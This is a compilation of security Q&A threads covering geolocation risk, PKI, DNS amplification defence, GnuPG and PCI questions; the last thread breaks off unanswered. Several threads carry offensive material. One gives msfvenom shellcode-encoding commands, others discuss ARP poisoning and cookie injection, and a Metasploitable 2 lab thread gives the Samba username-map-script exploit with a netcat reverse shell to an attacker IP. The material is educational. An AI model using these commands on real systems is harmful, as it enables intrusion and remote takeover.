"geolocation can be unsafe" eslint scan-js rule I played with Eslint and eslint-scanjs security plugin and came across the check 'property_geolocation'. The source code of the check is:

"use strict";

module.exports = function (context) {

  return {
    "MemberExpression": function (node) {
      if (node.property.name == 'geolocation') {
        context.report(node, "geolocation can be unsafe");

      }
    }
  }
}

so it gives no clue about why it's dangerous to use the property. Can anyone explain what risks of using the 'geolocation' property and how it can be abused?

According to the Mozilla documentation and caniuse.com, some browsers will allow geolocation to be served over HTTP, in which case the usual risks of a MITM apply.

This is a guess on my part, but if an attacker can uncover your physical location, they could exploit it in any of the following ways:

Find your home/work addresses, and use that for any of the following:

knowing when it's safer to break in or when's the best time to swat you.
framing you for possessing illicit material (as (nearly) happened to Brian Krebs).
covering their tracks.

Use it to create more targeted phishing attempts (we know that Pilib Uí Rólaun regularly goes to Bank A on the main street of Ballycac - so, he's more likely to fall for a request to log into this than for Bank B).
Sell it to a third party that might find it useful (for any of the above reasons).


Why not to use the same subordinate issuer CA for generating certificates that will be used for different things? Microsoft has recommended my organization to use different subordinate issuer CAs in order to issue certificates that will be used for different things. For example, they recommend to use a CA for issuing certificates that will be used to connect to the wifi and another CA por issuing certificates that will be used for applications to authenticate to webservices.

They say the reason is to reduce the risk of a CA malfunctioning to affect all the services.

What are the risks of using the same subordinate issuer CA to generate certificates that will be used for different things (ex: wifi authentication vs webservices authentication)?

Are there only availability reasons or also confidentiality reasons?

Using different intermediate CAs will allow you to differentiate end-entity certificates by their issuer. This makes it possible to create trust rules that will limit certificate usage based on their issuer.

Issuing all your certificates from the same iCA will make it easy to mistakenly allow one certificate to be used for something unintended.

That will, for instance, allow you to generate wifi authentication certificate from iCA1 and TLS client connection certificate (web services) from iCA2 and then to configure your wifi access point to trust any certificate issued by iCA1. This will prevent certificate you issue for your web services to be re-used for accessing your wifi network (and the reverse) without having to mess up with custom OIDs in certificates (which might not even be supported by the software making use of these certificates).

You could do the exact same thing with separate CAs except that this require more management effort.


How can I detect/withstand DNS amplification attack? I am a developer, and I am trying to get an insight into what could I do to enable my application to withstand a DNS amplification kind of attacks. Would such prevention methods help against DOS type attacks as well? What are the industry best-practices, guidelines for detection, prevention, weathering of such attacks. Are there are any common pitfalls?

Detection

The goal of a reflected DNS attack is to send large volumes of network traffic at a host in order to cause legitimate traffic to be dropped.  It is chosen when the attacker doesn't control enough bandwidth himself to exceed the target's bandwidth.  It is largely irrelevant whether the target is running a DNS server or not as the damage is usually already done by the time the packets reach the server.

The first symptom you will see is that your server is unresponsive over the network.  If you have an out-of-band connection (such as physically sitting at the keyboard in front of it or using an iLOM, ALOM, iDrac, whatever) the server will probably have a low load.

If you suspect a reflected DNS attack, you can use tcpdump to look for a large number of DNS responses arriving that you didn't ask for.  Keeping track of requests and responses can be difficult but if you aren't making any requests, then all the responses are part of the attack.

tcpdump -A -n dst port 53 and not host <local IP address>

The -n option is important here because it tells tcpdump not to do DNS lookups, which under this kind of attack will time out.  The <local IP address> should obviously be replaced with your outbound IP address.

Survival

If you are actually running a name server, source port randomisation may help reduce the load these bogus responses cause. Dan Kaminsky headed up a collaboration a few years ago that made this a standard part of every modern name server.

Some stateful firewalls can track UDP "sessions".  Configuring your firewall to drop anything inbound on port 53 that's not part of an established session could stop the bogus responses from reaching a valid service on your machine, meaning that the packets would not have to be processed.  A DROP rule is better than a REJECT rule here because a REJECT rule actually sends an ICMP response to the name server sending you the bogus DNS response (which uses up more bandwidth) whereas the DROP rule just stops everything right there and doesn't waste any extra bandwidth.

Still assuming you are running a name server, make sure caching is turned on and working.  (Actually, do this now anyway.  The upstream servers will thank you.)

Unfortunately, these three things are pretty much a drop in the ocean if your hosting provider's bandwidth has been exhausted, which is often the case.

The two most successful strategies for surviving a bandwidth-based DoS are

Having more bandwidth than the attacker.
Hiring someone who does.

If the bottleneck is within your hosting provder's network, they may be able to filter the traffic further out as long as you can give them something concrete and precise such as "drop all inbound UDP packets with destination port 53".

If it's outside or at the edge of their network or if they just can't filter that much traffic, the next step is a company that specialises in mitigating DoS attacks.  There are numerous choices these days and I can't really recommend any of them without personal experience.  There's a quick list over on ServerFault.  The general consensus is that they're expensive but often less so than the downtime or the extortion request that immediately follows the attack.

Something also to be wary of if you do come under attack, I have heard reports that sometimes the DoS is simply a diversion before/after/while the attackers sneak in and steal the data.


How can I verify the trustworthiness of GPGTools? Having a hard time verifying the trustworthiness of GPGTools. I really want to trust the project as it adds a lot of convenience on macOS, but can’t figure out if I can without spending a lot of time auditing the codebase.

The pinentry-mac git repository, for example, has only a few contributors with no public track record. I’m not insinuating they are bad actors (they are probably awesome), but I live by the motto "don’t trust, verify".

I feel safer using gnupg when installed using brew install gnupg as it's maintained by the core team of GnuPG.

That being said, I’ve hit an edge case with pinentry-curses and people recommend using pinentry-mac.

The ways for you to trust software is limited. Essentially, your options boil down to this:

Audit it yourself.

This is time-consuming, requires quite some skill and ultimately requires you to build the software yourself, as you cannot be guaranteed that the compiled binary you download matches the source code you have been provided. But all in all, this is the "most secure" way of doing it.
Trust someone who audited it.

With larger projects, such as GnuPG, you can be reasonably sure that trustworthy people have audited the source code. While this approach has it's limits, it's generally what most people do. I didn't check the source code of the Linux kernel before downloading a Linux distribution, nor did I check the source code of every single package. I assume others did it, and if there was something wrong, I assume they'd tell someone.
Just wing it.

Arguably the least secure approach, but the approach most people go down when they just want to download and run some utility. You have backups, right?


Why is ARP poisoning killing all network activity? Using ettercap and ARP poisoning, I was able to eavesdrop on other connections, but suddenly I was unable to make any connection to the Internet.  To restore Internet connectivity, I had to restart my router. (I have tested this on 3 different routers: sagem, linksys and huawei.)

Am I doing something wrong or is there a safety mechanism that kills all network activity?

ARP spoofing usually works by fooling all the clients into thinking that you're the router, by faking the ARP responses that translate IP addresses to MAC addresses. When clients receive the ARP response, they remember the MAC that was associated with the IP.

Once you stop the application that's handling the man-in-the-middle part of the operation, the clients keep sending to your MAC address, instead of the router's. Since you're no longer handling such packets, the traffic is blackholed and the whole network goes down. Resetting the router causes it to send an ARP broadcast (e.g. "Hi, I'm 192.168.1.1 at 12:34:56:78:90:AB") along with a DHCP broadcast, allowing clients to re-sync with the real router.

It may be possible for your ARP poisoning software to send out an ARP broadcast when it closes, with the real MAC address of the router, in order to prevent this. This may be a bug, or it may just not be implemented yet.


Is it possible to infer advanced cookie properties like expiration from Wireshark I want to perform a cookie injection attack for demonstration purposes.

I could achieve this using Firefox Cookie-Editor extension. However, the attack can only succeed if I enter the cookie name, value and advanced parameters like the expiration date and check the boxes whether the cookie is httponly, Secure, hostonly, Session.

I could not extract the advanced properties from Wireshark. I can only see the cookie name and value.

Any idea how to extract cookies advanced properties using Wireshark?

The properties of a cookie are set by the server in the Set-Cookie field of the HTTP response header, or cookies including their properties can be set using JavaScript. In the Cookie field of the HTTP request header  one can only see the value of the cookie, not its attributes.

This means to find out the properties of a cookie you have to either look at the HTTP response which has set the cookie, which might be a while (or even long ago) before the HTTP request using this cookie is send. Or you have to study all the JavaScript which got ever include into the HTML  of the site (i.e. even third party JavaScript) to find out if some cookie was ever set this way and with which attributes. Again, the cookie might have been set long ago.


At what point does something count as 'security through obscurity'? So, I keep finding the conventional wisdom that 'security through obscurity is no security at all', but I'm having the (perhaps stupid) problem of being unable to tell exactly when something is 'good security' and when something is just 'obscure'.

I checked other questions relating tangentially to this, and was unable to figure out the precise difference.

For example:
Someone said using SSH on a nonstandard port counts as security through obscurity. You're just counting on the other person to not check for that. However, all SSH is doing is obscuring information. It relies on the hope that an attacker won't think to guess the correct cryptographic key.

Now, I know the first circumstance (that someone would think to check nonstandard ports for a particular service) is far more likely than the second (that someone would randomly guess a cryptographic key), but is likelihood really the entire difference?

And, if so, how am I (an infosec n00b, if that isn't already abundantly clear) supposed to be able to tell the good (i.e. what's worth implementing) from the bad (what isn't)?

Obviously, encryption schemes which have been proven to be vulnerable shouldn't be used, so sometimes it's more clear than others, but what I'm struggling with is how I know where the conventional wisdom does and doesn't apply.

Because, at first blush, it's perfectly clear, but when I actually try to extrapolate a hard-and-fast, consistently applicable algorithm for vetting ideas, I run into problems.

The misconception that you're having is that security through obscurity is bad. It's actually not, security only through obscurity is terrible.

Put it this way. You want your system to be complete secure if someone knew the full workings of it, apart from the key secret component that you control. Cryptography is a perfect example of this. If you are relying on them 'not seeing your algorithm' by using something like a ROT13 cipher it's terrible. On the flip side if they can see exactly the algorithm used yet still cannot practically do anything we see the ideal security situation.

The thing to realize is that you never want to count on obscurity but it certainly never hurts. Should I password protect / use keys for my SSH connection? Absolutely. Should I rely on changing the server from 22 to port 2222 to keep my connection safe? Absolutely not. Is it bad to change my SSH server to port 2222 while also using a password? No, if anything this is the best solution. Changing ("Obscuring") the port will simply cut down on a heap of automatic exploit scanners searching normal ports. We gain a security advantage through obscurity which is good, but we are not counting on the obscurity. If they found it they still need to crack the password.

TL;DR - Only counting on obscurity is bad. You want your system to be secure with the attacker knowing it's complete workings apart from specifically controllable secret information (i.e. passwords). Obscurity in itself however isn't bad, and can actually be a good thing.

Edit: To more precisely answer your probability question, yes in a way you could look at it like that, yet do so appreciating the differences. Ports range from 1-65535 and can be quickly checked within 1 minute with a scanner like nmap. "Guessing" a random say 10 digit password of all ascii characters is 1 / 1.8446744e+19 and would take 5.8 million years guessing 100,000 passwords a second.

Edit 2: To address the comment below. Keys can be generated with sufficient entropy to be considered truly random (http://tools.ietf.org/html/rfc4086). If not it's a flaw with the implementation rather than the philosophy. You're correct in saying that everything relies on attackers not knowing information (passwords) and the dictionary definition of obscurity is "The state of being unknown", so you can correctly say that everything is counting on a level of obscurity.

Once more though the worth comes down to the practical security given the information you're able to control remaining unknown. Keys, be it passwords or certificates etc, are (relatively) simple to maintain secret. Algorithms and other easy to check methods are hard to keep secret. "Is it worth while" comes down to determining what is possible to keep unknown, and judging the possibility of compromise based off that unknown information.


Certificate works in Chrome + Firefox but not with curl ("unable to get local issuer certificate") with the recent cacert.pem I am trying to connect to a site behind a firewall, that is why I cannot share the URL for verification.

$ curl -vvvv https://example.com:8080/foo/ba/?wsdl --cacert /tmp/cacert-2018-12-05.pem
*   Trying a.b.c.d...
* TCP_NODELAY set
* Connected to example.com (a.b.c.d) port 8080 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /tmp/cacert-2018-12-05.pem
  CApath: /etc/ssl/certs
* (304) (OUT), TLS handshake, Client hello (1):
* (304) (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS alert, Server hello (2):
* SSL certificate problem: unable to get local issuer certificate
* stopped the pause stream!
* Closing connection 0
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.haxx.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

How can that be?

Does it mean the intermediate cannot be pulled properly? But why does it work with the Browser?

The chain looks like this:

And the "DigiCert Global Root G2" is in the cacert.pem I am using.

But not the Thawte TLS RSA CA G1.

Does it mean the intermediate cannot be pulled properly?

While it cannot be said definitely from the few information this is a typical misconfiguration which results in what you see.

  But why does it work with the Browser?

Browsers try to work around such misconfiguration by using cached intermediate certificates from previous connections (Firefox) or even trying to retrieve the missing certificate based on the issuer information (Chrome). Other tools usually do not work around such misconfiguration.


Is Firefox Password Manager less secure than LastPass? After installing the LastPass password manager, I am presented with a login dialog including the option to "Disable Insecure Firefox Password Manager".

(This option appears as long as the Firefox Password Manager is enabled, whether or not a master password is being used.)

Is Firefox less secure than LastPass for the same tasks under the same implied threat model?

Important: For an apples-to-apples comparison, this would mean comparing LastPass to:

Firefox Password Manager (local storage)
with Master Password (local encryption/security)
and Firefox Sync (remote storage, encryption/security and device synchronization)

(not comparing LastPass to unsynced Firefox without Master Password). I assume the threat model is something like daily browser use, including entering passwords for online banking etc, and storing and sharing login credentials between browser installations on different machines you own.)

(My initial research reveals complaints and vulnerabilities in old (pre-Sync) versions of Firefox, including confusion about which login components are encrypted and which are not, suggestions that new Sync is "zero-knowledge" (but no clarification on what is stored in plaintext locally), claims that LastPass uses JavaScript for encryption and is therefore inherently insecure and, most confusingly, endorsement of LastPass from Mozilla.)

In my opinion, Lastpass is referring to the Firefox password manager insecure when the user is not using master password for Firefox. Which won't be apples-to-apples comparison.
Firefox uses 3DES for storing passwords and in case master password is not set, null ("") is used, which is insecure for sure.  To read in detail about how Chrome, IE and Firefox store passwords, refer to this excellent article.
If master password is used (and strong enough), then I don't see that it will be easy to crack the passwords, given there are no implementation bugs.


PCI Compliance SAQ-A-EP or SAQ D Our eCommerce wesbite attracts less than 5000 CC transactions each year and we do no store any CC information in our backend or systems but transmit them to our third party provider. We also use a tokenization technique for recurrent billing. We accept CC information on our secured hosted page but trasnmit them through SSL to our third party payment provider.

I would like to know if we can still use SAQ A-EP questionnaire or we still do need to fill out SAQ-D because we do not use iFrame. Also to note that we only store the Billing token that is provided by the payment provider.

IANAQSA, and all quotes from Understanding SAQs for PCI DSS version 3:

Based on the information you've provided, you'd be a SAQ D.

SAQ A and A-EP are ruled out for you because they can have "no electronic storage, processing, or transmission of any cardholder data on the merchant's systems".  When you say

  We accept CC information on our secured hosted page but trasnmit them
  through SSL to our third party payment provider

That tells me you're transmitting cardholder data.  I'm interpreting "secured hosted page" as "a web page on a web server you manage which is secured with SSL"; correct me if you mean otherwise.

SAQ B, B-IP, C-VT, C, and P2PE-HW are "Not applicable to e-commerce channels", which would appear to rule out your "eCommerce website".  So, yeah, SAQ D applies as you're a "merchant not included in descriptions for the [other] SAQ types"

The fact that you "use a tokenization technique" and "only store the Billing token that is provided by the payment provider" does reduce the amount of work the SAQ D implies.  To quote the Guidance for Non-Applicability of Certain, Specific Requirements in SAQ D:

  While many organizations completing SAQ D will need to validate
  compliance with every PCI DSS requirement, some organizations with
  very specific business models may find that some requirements do not
  apply..... an organization that does not store any cardholder data
  electronically at any time would not need to validate requirements
  related to secure storage of cardholder data (for example, Requirement
  3.4).


What is a "non-stitched" ciphersuite? From the  OpenSSL Security Advisory
 - 0-byte record padding oracle (CVE-2019-1559)

  In order for this to be exploitable "non-stitched" ciphersuites must
  be in use.

What is a 'non-stitched' ciphersuite ?

The very next sentence gives a short explanation:

  Stitched ciphersuites are optimised implementations of certain commonly used
  ciphersuites.

Googling, the term is better explained in the paper Improving OpenSSL* performance, which cites Fast Cryptographic computation on IA processors via Function Stitching as the source of the term, where you can find:

  We present fast and
  efficient methods of computing such pairs of functions on IA processors
  using a method called “function stitching”. Instead of computing pairs of
  functions sequentially as is done today in applications/libraries, we
  replace the function calls by a single call to a composite function that
  implements both algorithms. The execution time of this composite
  function can be made significantly shorter than the sums of the execution
  times for the individual functions and, in many cases, close to the
  execution time of the slower function.

As explained in the first paper, the two functions being "stitched" together here are an encryption function and an authentication function, doing both at once instead of one and then the other.

A "non-stitched" implementation would be one that doesn't utilize this sort of performance optimization.


Should your client SSL Trusted Authority contain only root and intermediate certificates? I'm getting conflicting information and it seems people are using certificates a little differently depending on how much effort they want to expend in managing them, and maybe the application being used.

Client certs aside, this is my understanding:
A server has a signed certificate from a CA.  A client should include only the CA's intermediate and/or root certificates in it's Trusted Authority (store depends on application of course). As long as any new or renewed host certificate still uses the same roots the client doesn't need to worry about changes to the server's certificate.

FTP partners I deal with are updating or changing their server certificates and sending them to me.  I see many implementations of clients just adding the server certificates to the Trusted Authority.  From what I (think I) know, this not only gives me more to manage when these certs expire (annually), but I lose the benefit of CRLs (or do CRLs only work for OSes and browsers?) I thought you only add self-signed certs to Trusted Authority stores.

So, am I right to only want to add roots and intermediates to Trusted Authority stores, or do I get some benefit of adding each server certificate?  Does this really matter and it's just preference?

Your chain of trust has to be anchored in a trusted certificate somewhere. Adding the "root" certificate (whichever that may be) is enough to establish that trust. However, if any chaining certificate which links the server cert to the trusted one is not sent by the server during the connection, and your client doesn't have a copy of that chaining certificate, then the full chain of trust cannot be established.

So in that case, adding the intermediate certificate would help. The server's own certificate is always sent during SSL negotiations, so trusting THAT certificate simply anchors the trust right there, obviating the need to validate down to some other trusted authority and potentially avoiding any missing components along the way.

As for CRLs, if you directly trust the server certificate, no CRL will be consulted. Checking the CRL is up to the client software implementation, and may or may not be a supported feature.


Openssl speed block size I dont really get it what exactly block size in openssl speed output means. Here: How can I interpret openssl speed output? I found the answer that it is the length of the input message.  So, should I understand like this:

I want to measure performence of md5 for 512 input-size message, should I do it like this:

// assume that 'txt' has a length of 64,
// so for char its 8 (char size) * 64 (text length) = 512 block size
char txt = "...";
MD5((unsigned char*)&txt, strlen(txt), (unsigned char*)&digest);

or like this:

char txt = "..."; // assume it has length of 512
MD5((unsigned char*)&txt, strlen(txt), (unsigned char*)&digest);

? What Im trying to achieve here is to be able to test algorithms with various input lengths, not only for those defined in openssl speed.

A hash function like MD5 processes a message of arbitrary length (up to some ludicrously large maximum length, some zillions of terabytes). The raw computational cost of MD5 can be roughly split into three parts:

Initialization: set some internal state values.
Data processing: mostly proportional to the input length.
Finalization: the "closing computations" of the hash function, yielding the final output (things like padding occur at that step).

OpenSSL, in its benchmarks, measures the speed of doing the three steps with messages of various lengths, so that you might somehow infer the cost of the data processing and the cost of the two other steps.

However, such benchmarks are meaningless because they measure the code performance under unrealistic conditions. When OpenSSL runs, it goes into a tight loop, hashing millions of messages in a row: this ensures that the hash function code itself is in L1 cache, that branch prediction in the CPU is fully aware of the probable direction of each conditional jump, and that the input data is also in the CPU L1 cache. None of this really applies to a practical situation.

In practice, I/O and RAM bandwidth costs will dominate, especially with "fast" hash functions like MD5; also, the hash function is not alone in the data path, and other tasks will matter. For instance, in your code, the call to strlen() will not have a negligible impact when compared with MD5 (it will be faster, but not to the point of not even showing up in measures).

What you should do is to measure performance of your complete system, not the hash function alone; and do that with a few select hash functions: this will use the actual execution context. Also, it is improbable that the hashing cost itself represents a substantial proportion of your CPU.


Is it safe to give an Oauth token to client side javascript so it can directly make requests to a server? I currently have a simple backbone.js application served from my domain (example.com), which is provided an Oauth token. Specifically, I pass the Oauth token through my page template into the constructor arguments of my javascript class (Backbone model). The backbone.js application (running in browser) then uses the Oauth token to talk directly to a remote server (not the same server from which the page was served).

Is it safe to provide the javascript code the Oauth token like this?

The entire page is served via https, so there is effectively no concern about MITM attacks. The browser also has a cookie with the users sessionid in it, so I don't think that's much different than providing the browser javascript with the Oauth token.

If this is terrible, are there any alternative methods that could be employed? Would storing the Oauth token in a cookie be any better? (same security implications as having a sessionid stored in a cookie).

An OAuth bearer token is a way of maintaining a session state used to hold an authenticated state - and like a password it must be protected.  In the case of a backbone.js client an attacker could obtain this value using xss.  Storing the oauth token as a cookie allows for the use of the httponly flag which prevents an xss payload from reading this value.  even if the oauth token is protected with  an httponly cookie, xss can still be used to access the authenticated api with a specially crafted JavaScript payload.  A cookie is better than other methods,  however xss and csrf are still major concerns.


Creating port-specific SSH authentication for the same user I have a Linux server running SSHD and would like to know if its possible to configure it, such that from within the LAN you only need a RSA key to authenticate (on port X), but from outside the LAN the user would need to authenticate with both a RSA key and an OTP password generated by a PAM module (via port Y)?

I tried configuring /etc/ssh/sshd_config with the match condition:

match user XX
   LocalPort 22
   PasswordAuthentication no
   RSAAuthentication yes

match user XX
   LocalPort 12345
   PasswordAuthentication yes
   RSAAuthentication no

It gives me the error: bad parameter implying that this command isn't supported, although in the sshd_config manual it says that it is.

In summary, my question is: Is it possible to have different authentication methods for the same user depending on which port they SSH into?

In fact match expression must be on the same first line. So this should work as expected in /etc/ssh/sshd_config:
Match User XX LocalPort 22
   PasswordAuthentication no
   RSAAuthentication yes

Match User XX LocalPort 12345
   PasswordAuthentication yes
   RSAAuthentication no

Beware that the Match block ends with end of configuration file or another Match directive. Indentation is only there for prettyness. As a result, DO NOT add some Match lines in the middle of existing configuration file. So simply put your Match blocks at the end of the file.
Warning OpenSSH is compiled with hard-coded limit of listen ports, by default 8 (Debian, Ubuntu...) and startup logic appears to open ports in reverse order compared to configuration directives, with consequence to reject to open default SSH 22 port when you declare more ports than allowed... and you have already guessed you just lose your SSH access to your system! If you need more than 8 SSH ports, I recommend to keep only 22 handled by regular service/daemon, and setup your additional SSH ports thanks to xinetd.


FIDO2: will FIDO foundation MDS 1.0 metadata statements be migrated to MDS 2.0? The FIDO foundation provides with metadata web service for UAF (MDS 1.0, https://mds.fidoalliance.org/) and a new web services for FIDO2 / WebAuthn metadata (MDS 2.0, see https://fidoalliance.org/metadata/).

Metadata of some authenticators are only available in the MDS 1.0 web service, but not in the MDS 2.0 web services, such as UAF security keys.

WebAuthn is however meant to be retro-compatible with UAF keys. Will the metadata of these authenticators be eventually migrated to the MDS 2.0 web service?

Yes. According to this tweet from a project member (triggered by your question!), the FIDO projects are actively working on migrating MDS metadata to MDS2.


How to seal the lock with cryptography I am new in the world of cryptography. I'm working with an IoT project. My job is to protect the entire data. So, I need some cryptographic security.
I want that data should be encrypted before transmitting to the internet.
So, if the encrypted data (with digital signature) is transmitted through HTTPS protocol, then it should be secure. If my data is changed somehow when transmitting (middle-man-attack), then at the time of verifying it wouldn't qualify.
But, here is a problem: if somehow the encrypted data is changed with another encrypted data which are successfully qualified when I decrypt it, then what happens?
So, I want something like...

Generate data
Put this data in a box
Lock this box
Seal the lock

And I want that at the time of receiving I first check the seal is broken or not, if not then verify the signed data.
How to implement this system? Is it a good idea or not?

So, if encrypted (with digital signature) data is transmit through HTTPS protocol then it should be secure. So, if my data is changed somehow in the time of transmitting (middle-man-attack) then at the time of verify it would't qualify.

First of all, encryption provides secrecy. No-one can read what you're sending. It does not provide integrity or authentication.
However, https provides both. It encrypts data, and it authenticates the parties. Normally, only the server is authenticated, but client side certificates, or additional authentication (e.g. client identifier of some sort) may be transmitted to authenticate the client.
You probably do not need any additional encryption; TLS (https) should be enough. If you need to ensure integrity of the data, you may want to look into HMAC, which lets you sign the individual messages.


Securely Download lubuntu from Non-Ubuntu System The recommended way to find out which public key you need to verify the Ubuntu hashes is to attempt to check a signature of the hash file (both of which were downloaded in the clear). This produces an error indicating which key was used to sign the hashes:

gpg: Signature made Thu Apr  5 22:19:36 2018 EDT using DSA key ID FBB75451
gpg: Can't check signature: No public key
gpg: Signature made Thu Apr  5 22:19:36 2018 EDT using RSA key ID EFE21092
gpg: Can't check signature: No public key

My question is: if everything is downloaded in cleartext and an attacker can modify the ISO and the hash file, couldn't they also sign the hash file with their own public key and then publish that key to the key server? I would download their signature which would error out their key which I would naively download from the key server. Don't I need to at least have secure access to the key ID for their public key?

How can I securely download lubuntu if I don't already have the Ubuntu signing keys on my machine?

This is where the concept of TOFU (Trust On First Use) comes in. You will need to download the public key from a trusted source at least the first time, which makes it a little tricky when you can only download it from the same server that is also providing the ISO and signature. In order to make sure you are using the correct public key, you need to check that its fingerprint matches the fingerprint that the developers are using. I would suggest looking through Twitter or various mailing lists to try to find the signature so you can confirm that it matches the public key you have.

Looking it up online, I see that DistroWatch provides a copy of the keys. You could also send an email to request the fingerprint, or go on their IRC channel and ask.


using msfvenom to encode an exe file without any payload, like oldy msfencode (packing) Doing some research about packing and such, I went on the possibility to use the old msfencode to generate a packed exe.

However, msfencode is not updated anymore (still found on kali however), and I wish to use the encoders on the x64 architecture.

By the way, I tested to use msfvenom simply to pack my executable, using the 'no payload' option as such : '-p -'. But, it just keeps asking me to supply a payload on stdin.

So, is it possible to just pack a binary using msfvenom?

I would advise to use following command:

msfvenom -p generic/custom PAYLOADFILE=[path_to_file] -a [architecture] --platform [platform] -e [encoder]

bear in mind you can list all possible encoders with:

msfvenom --list encoders

this is an example of encoding a shellcode using add/sub encoder, which I tested working:

msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows -e x86/add_sub -f raw -o shellcode-encoded.bin


Can I fool keyloggers by simulating fake key strokes? I am making a PC application with authentication. It is using a salted encryption and works well safety wise. Still my main concern now is with keyloggers. So I thought that maybe I could solve (in a very primitive way) this problem.

I thought that the best way to do so would be to make the application simulate itself as the keyboard and type random characters alongside the user's password. I know it is a long shot but I just can't see why it wouldn't work. (I am talking about software keyloggers, not hardware.)

Can I fool a keylogger by simulating key presses with an app?

Depending on the OS, it may be trivial for the keylogger to distinguish different input sources and filter out your random characters. And even if that's not the case, there are many places aside from the keyboard where a decent trojan will be looking for passwords, like RAM contents and screenshots.

Aside from that, your method will only work if you introduce lots of random characters. Let's assume the keylogger has captured a sequence of N characters corresponding to M characters of the password and N-M random characters added by your method. Assuming M is known, there are C(N,M) possible passwords for the attacker to try. For example, if the keylogger has captured 16 characters and the password is known to be 8 character long, the attacker will discover the right password in

C(16,8) = 12870 attempts

If the password length is not known, the attacker could simply iterate through different possible values. For example if in the example above the password is known to be between 8 and 16 characters, the attacker will have to try out 39203 possible passwords.

Only when you add about 250 random characters to your 8 character password, the difficulty of cracking the keylogger data becomes equal to brute forcing an alphanumeric password. At this point, you should make sure you have a good random characters generator, because these 250 characters could be enough to crack the trivial ones.


Potential damage of someone getting your online banking password Does anyone have thoughts on the potential damage of your online banking account being hacked? I'm not sure what a person could actually do since I think they could really only pay my bills (adding a new payee would require additional security information to set up). They might be able to see my account number I suppose since they could look at scanned checks, but even that doesn't seem like a large risk.

The reason I ask is that I am weighing the risks of signing up to things like Mint and Level.

Thanks!

edit: From what I understand, when a new payee has been added to the account, I have to enter my debit card number. I also have two-factor authorization turned on, but for this question I would like to consider the case if I did not have it turned on (which I imagine resembles most users).

I'm going to see if I can clarify my question further. I'm curious to know what are the possible devious things a stranger could do if they had access to my bank account.

It will depend on your bank, obviously, as some will require other authentication for actually transferring funds (several use 2FA, seperate data, text message authorisation), but risks I can think of include:

Transferring funds, for banks that would allow that
Paying bills, then socially engineering refunds elsewhere
Collection of information for identity fraud or social engineering attacks ("Hello Mr Blank, I see that your account ending 1234 is overdrawn due a payment to [Actual Direct Debit Here], did you make this transaction, I'll just need to run you through security questions at this point

Don't underestimate the power of the information that your banking password allows access to.  Your personal details can be used against you, or to persuade others that an attacker is you.  Once someone has the same access as you, all bets are off, and your bank account is empty.


How to change personal cipher/digest preferences of existing OpenPGP key in GnuPG? The OpenPGP key contains a list of personal algorithm preferences (the meaning of the numbers can be decoded in RFC 4880):

# gpg -a --export "foo@example.com" | gpg --list-packets | fgrep 'pref-'
hashed subpkt 11 len 5 (pref-sym-algos: 9 8 7 3 2)
hashed subpkt 21 len 5 (pref-hash-algos: 8 2 9 10 11)
hashed subpkt 22 len 3 (pref-zip-algos: 2 3 1)

How can I change the preferences of an existing key?

For instance, lets say I want to change pref-hash-algos to:
SHA512 SHA256 SHA384 (10, 8, 9).

OpenPGP Algorithm Defaults

These are the algorithms you prefer others to use when they send encrypted messages to you. To print and change those settings, use gpg --edit-key [key-id]. You can list the settings in a more readable way without looking up the algorithm IDs in RFC 4880 using showpref
, and set it afterwards using setpref.

Changing Defaults

setpref cannot change only some preferred algorithms (like only digest algorithms), you have to list all three categories at the same time. If you omit some, it will fall back to the most universal defaults which all OpenPGP implementations following RFC 4880 are required to offer.

An example line proposed again and again is

setpref SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed

Minimum Required Set of Algorithms

But be aware, that GnuPG will automatically add 3DES, SHA1, uncompressed and those are the minimum set of algorithms all implementations must or should support. If you don't choose any compression algorithm, also ZIP will be added to the list. You can observe this default setting by setting any of those as preference, and nothing else:

gpg> setpref uncompressed
Set preference list to:
     Cipher: 3DES
     Digest: SHA1
     Compression: Uncompressed
     Features: MDC, Keyserver no-modify

Defaults might be different based on compliance options used.


Reverse connection Metasploitable 2 -> Kali Linux (Samba 3.x) without Metasploit I am trying to exploit Metasploitable 2 without the use of Metasploit, with the aim of learning. In this case, I am focusing on Samba 3.x (Port TCP 139, 445)

In this link http://www.rwbnetsec.com/samba-3-x/ two different methods are explained to exploit this machine after an nmap scan reveals TCP ports 139, and 445 open, which are running Samba version 3.x.

The second method explains that

  This vulnerability takes advantage of the “username map script” functionality of Samba. There is no filtering of user input, so an attacker could connect to an SMB session, and use shell metacharacters as input for the username, causing the commands to be executed on the remote system. This could allow the attacker to gain a remote shell to the victim machine with root access.

My problem comes when Metasploit is used, as it is used in:

http://www.reydes.com/d/?q=Explotar_Vulnerabilidad_username_map_script_de_Samba_con_MSF
http://resources.infosecinstitute.com/hacking-and-gaining-access-to-linux-by-exploiting-samba-service/

I finally found this video https://www.youtube.com/watch?v=-Y8-fZAvq9c that avoids Metasploit but it doesn't work for me, where it follows (Kali=192.168.200.1; Metasploitable2=192.168.200.130):

In Terminal window 1, we set netcat to listen:

netcat -nlvp 4444
In Terminal window 2, we check the share

smbclient -L //192.168.200.130
We focus on the tmp folder, and connect (Terminal 2):

smbclient //192.168.200.130/tmp
Finally, we obtain "smb: >" where the command "logon" is used to reverse connect to Kali, as

smb: > logon "/=nc 192.168.200.1 4444 -e /bin/bash"

This last point doesn't work for me with the following error message "session setup failed: NT_STATUS_NO_MEMORY".

It is hard for me to find a good manual that explains the "logon" command. I tried changing the way netcat is used:

In point 1. I write

smb: \> nc -nlvp 4444 -e /bin/bash

In point 4. I write

smb: \> logon "/=`nc 192.168.200.1 4444 -e /bin/bash`"

Same results. Same message error.

I really tried to do it by myself, but couldn't. I would be very grateful if you could help me.

Thank you in advance!!

It looks like you are setting up your listener in smb (vulnerable box).

smb: \> nc -nlvp 4444 -e /bin/bash

What you should be doing is setting up the listener in your attacking box.
using the following command instead:

nc -nlvp 4444

Finally from your metasploitable2 you issue the command:

logon "/=`nc 'attack box ip' 4444 -e /bin/bash`"


Is it safe to encrypt my password with the password itself? I'm using a password to encrypt some data. However, upon decrypting, I want to check if the entered password is correct. In order to do so I encrypt the password itself. Then upon decrypting, I check if the password given matches with the encrypted password.

